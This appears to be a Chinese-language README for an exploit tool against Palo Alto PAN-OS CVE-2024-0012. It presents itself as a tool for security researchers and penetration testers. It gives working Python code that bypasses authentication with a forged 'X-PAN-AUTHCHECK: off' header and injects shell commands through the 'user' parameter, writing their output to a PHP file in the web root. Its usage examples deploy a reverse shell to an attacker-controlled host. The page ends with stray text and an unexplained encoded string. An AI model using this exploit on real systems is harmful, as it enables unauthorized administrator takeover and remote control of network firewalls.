PAN-OS CVE-2024-0012 命令注入与权限绕过利用工具

0 阅读4分钟

PAN-OS CVE-2024-0012 命令注入与权限绕过利用工具

漏洞利用工具转存失败,建议直接上传图片文件 CVE编号转存失败,建议直接上传图片文件 Python版本转存失败,建议直接上传图片文件

本项目是一个针对 Palo Alto Networks PAN-OS 软件 CVE-2024-0012 漏洞 的检测与利用工具。该漏洞允许未经身份验证的攻击者通过网络访问管理Web界面,从而获取PAN-OS管理员权限,执行任意系统命令,或利用其他高权限漏洞。此工具旨在帮助安全研究人员和渗透测试人员快速验证目标系统是否存在该漏洞,并进行受控的安全测试。

功能特性

  • 认证绕过:利用 X-PAN-AUTHCHECK: off 头信息,绕过管理界面的身份验证。
  • 命令注入:在 user 参数中注入恶意系统命令,实现在目标服务器上的任意命令执行。
  • 灵活的命令执行:支持通过 --command 参数自定义在目标系统上执行的命令。
  • 反向 Shell 部署:提供 --reverse-shell 选项,可自动部署反向 Shell,方便攻击者进行交互式操作。
  • SSL 验证控制:支持 --no-verify 参数,可忽略自签名证书导致的 SSL 错误,适应更多测试环境。
  • 超时设置:允许用户自定义请求超时时间,以适应不同网络状况。

安装指南

系统要求

  • Python 3.x
  • pip 包管理器

安装步骤

  1. 克隆仓库

    git clone https://github.com/your-repo/CVE-2024-0012.git
    cd CVE-2024-0012
    
  2. 安装依赖 项目依赖 requests 库。可以使用 pip 进行安装:

    pip install requests
    

使用说明

基础使用示例

  1. 查看帮助

    python3 cve-2024-0012.py -h
    
  2. 执行自定义命令 在目标上执行 uname -a 命令,并忽略 SSL 证书验证:

    python3 cve-2024-0012.py --url "https://target.url" --no-verify --command "uname -a"
    
  3. 部署反向 Shell 在攻击机(192.168.1.100)上监听端口 4444,并在目标上部署反向 Shell:

    python3 cve-2024-0012.py --url "http://target.url" --no-verify --reverse-shell --lhost "192.168.1.100" --lport 4444
    

参数概览

参数类型描述
-h, --help-显示帮助信息并退出。
--url URLstring目标基础 URL (例如: http://target.urlhttps://target.url)。
--no-verifyflag禁用 SSL 证书验证。
--timeout TIMEOUTint请求超时时间(秒)。
--command COMMANDstring在目标系统上执行的命令。
--reverse-shellflag部署反向 Shell 到目标。
--lhost LHOSTstring反向 Shell 连接的本地主机 IP (使用 --reverse-shell 时必须)。
--lport LPORTint反向 Shell 连接的本地端口 (使用 --reverse-shell 时必须)。

核心代码

1. 初始化会话与命令注入

代码通过伪造 X-PAN-AUTHCHECK: off 头绕过认证,并在 user 参数中构造命令注入 payload。注入的命令会被执行,并将结果写入 Web 目录下的一个 PHP 文件中,以便后续访问。

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30, command="uname -a"):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.command = command
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',  # 关键绕过头
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # 命令注入 payload,将命令执行结果写入 watchTowr.php
        data = {
            'user': f'`{self.command} > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request('POST', '/php/utils/createRemoteAppwebSession.php/watchTowr.php', headers=headers, data=data)
        return response

2. 稳健的请求处理

代码封装了 make_request 方法,用于统一处理 HTTP 请求、超时、SSL 异常和其他网络异常,提高了工具的稳定性和健壮性。

    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

3. 命令行参数解析

使用 argparse 模块定义了清晰的命令行接口,支持多种参数组合,包括反向 Shell 的特殊要求。

# 命令行参数定义示例 (根据文档整合)
import argparse

def parse_arguments():
    parser = argparse.ArgumentParser(description='CVE-2024-0012 PAN-OS 认证绕过与命令注入利用工具')
    parser.add_argument('--url', required=True, help='目标基础 URL (http:// 或 https://)')
    parser.add_argument('--no-verify', action='store_true', help='禁用 SSL 证书验证')
    parser.add_argument('--timeout', type=int, default=30, help='请求超时时间 (秒)')
    parser.add_argument('--command', default='uname -a', help='在目标上执行的命令')
    parser.add_argument('--reverse-shell', action='store_true', help='部署反向 Shell')
    parser.add_argument('--lhost', help='反向 Shell 本地主机 IP')
    parser.add_argument('--lport', type=int, help='反向 Shell 本地端口')

    args = parser.parse_args()
    
    # 简单逻辑校验
    if args.reverse_shell and (not args.lhost or not args.lport):
        parser.error("--reverse-shell 需要同时指定 --lhost 和 --lport")
        
    return args
```FINISHED
6HFtX5dABrKlqXeO5PUv/884qxrZoDs6TAxZOCwynyU=